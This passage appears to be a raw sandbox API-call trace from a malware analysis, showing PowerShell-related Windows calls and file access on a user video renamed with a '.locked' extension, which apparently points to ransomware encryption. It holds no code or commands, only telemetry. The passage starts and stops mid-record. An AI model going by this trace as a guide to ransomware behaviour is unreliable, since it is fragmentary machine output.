Data4=([0]=0x7d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.736] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.737] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.737] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.737] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.739] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.739] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.739] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.739] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.739] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.741] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.741] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.741] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.742] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.742] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.743] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.744] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.744] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.744] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x80, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.744] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.746] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x81, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.748] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0138.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0138.784] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\hvvhqo0adhwsn3bp13g.avi.locked"), fInfoLevelId=0x0, lpFileInformation=0x6aa2e28 | out: lpFileInformation=0x6aa2e28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15e8381c, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x15e8381c, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x15ea9a70, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0xaf14)) returned 1 [0138.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0138.784] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi.locked", lpFilePart=0x0) returned 0x4e [0138.784] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\HvvHqo0ADHwSN3BP13g.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\hvvhqo0adhwsn3bp13g.avi.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0138.785] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0138.785] CloseHandle (hObject=0x764) returned 1 [0138.789] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0138.808] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0138.809] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0138.815] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0138.832] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0138.832] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0138.833] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0138.837] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0138.838] GetConsoleOutputCP () returned 0x1b5 [0138.838] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0138.838] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0138.839] GetConsoleOutputCP () returned 0x1b5 [0138.840] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0138.840] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0138.842] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ae3330*, nNumberOfCharsToWrite=0x3e, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x6ae3330*, lpNumberOfCharsWritten=0x99ae3a4*=0x3e) returned 1 [0138.853] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0138.853] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0138.857] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0138.858] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0138.858] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0138.863] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0138.863] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0138.864] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0138.868] GetConsoleOutputCP () returned 0x1b5 [0138.869] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0138.869] GetConsoleOutputCP () returned 0x1b5 [0138.869] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0138.869] GetConsoleOutputCP () returned 0x1b5 [0138.870] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.870] GetConsoleOutputCP () returned 0x1b5 [0138.870] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.870] GetConsoleOutputCP () returned 0x1b5 [0138.871] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0138.871] GetConsoleOutputCP () returned 0x1b5 [0138.871] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0138.871] GetConsoleOutputCP () returned 0x1b5 [0138.872] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.872] GetConsoleOutputCP () returned 0x1b5 [0138.872] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.872] GetConsoleOutputCP () returned 0x1b5 [0138.873] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0138.873] GetConsoleOutputCP () returned 0x1b5 [0138.873] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0138.873] GetConsoleOutputCP () returned 0x1b5 [0138.874] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.874] GetConsoleOutputCP () returned 0x1b5 [0138.874] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.874] GetConsoleOutputCP () returned 0x1b5 [0138.875] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0138.875] GetConsoleOutputCP () returned 0x1b5 [0138.875] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0138.875] GetConsoleOutputCP () returned 0x1b5 [0138.876] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.876] GetConsoleOutputCP () returned 0x1b5 [0138.876] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0138.876] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0138.877] GetConsoleOutputCP () returned 0x1b5 [0138.878] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0138.878] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0138.879] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ae41c0*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6ae41c0*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0138.879] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0138.880] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0138.884] GetConsoleOutputCP () returned 0x1b5 [0138.884] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0138.884] GetConsoleOutputCP () returned 0x1b5 [0138.885] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0138.885] GetConsoleOutputCP () returned 0x1b5 [0138.885] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0138.885] GetConsoleOutputCP () returned 0x1b5 [0138.886] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0138.886] GetConsoleOutputCP () returned 0x1b5 [0138.886] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.886] GetConsoleOutputCP () returned 0x1b5 [0138.887] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.887] GetConsoleOutputCP () returned 0x1b5 [0138.887] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.887] GetConsoleOutputCP () returned 0x1b5 [0138.888] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.888] GetConsoleOutputCP () returned 0x1b5 [0138.888] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.888] GetConsoleOutputCP () returned 0x1b5 [0138.888] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.888] GetConsoleOutputCP () returned 0x1b5 [0138.889] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.889] GetConsoleOutputCP () returned 0x1b5 [0138.889] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0138.889] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0138.890] GetConsoleOutputCP () returned 0x1b5 [0138.890] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0138.890] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0138.890] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ae4c18*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6ae4c18*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0138.891] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0138.891] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0138.897] GetConsoleOutputCP () returned 0x1b5 [0138.897] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.897] GetConsoleOutputCP () returned 0x1b5 [0138.898] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.898] GetConsoleOutputCP () returned 0x1b5 [0138.898] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.898] GetConsoleOutputCP () returned 0x1b5 [0138.898] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.898] GetConsoleOutputCP () returned 0x1b5 [0138.900] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.900] GetConsoleOutputCP () returned 0x1b5 [0138.902] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.902] GetConsoleOutputCP () returned 0x1b5 [0138.902] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.902] GetConsoleOutputCP () returned 0x1b5 [0138.903] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.903] GetConsoleOutputCP () returned 0x1b5 [0138.903] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.903] GetConsoleOutputCP () returned 0x1b5 [0138.903] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.903] GetConsoleOutputCP () returned 0x1b5 [0138.904] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.904] GetConsoleOutputCP () returned 0x1b5 [0138.904] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.904] GetConsoleOutputCP () returned 0x1b5 [0138.904] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0138.904] GetConsoleOutputCP () returned 0x1b5 [0138.905] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0138.905] GetConsoleOutputCP () returned 0x1b5 [0138.905] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.905] GetConsoleOutputCP () returned 0x1b5 [0138.905] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0138.905] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0138.906] GetConsoleOutputCP () returned 0x1b5 [0138.906] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0138.906] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0138.906] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ae6a3c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x6ae6a3c*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0138.907] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0138.907] WriteConsoleW (in: 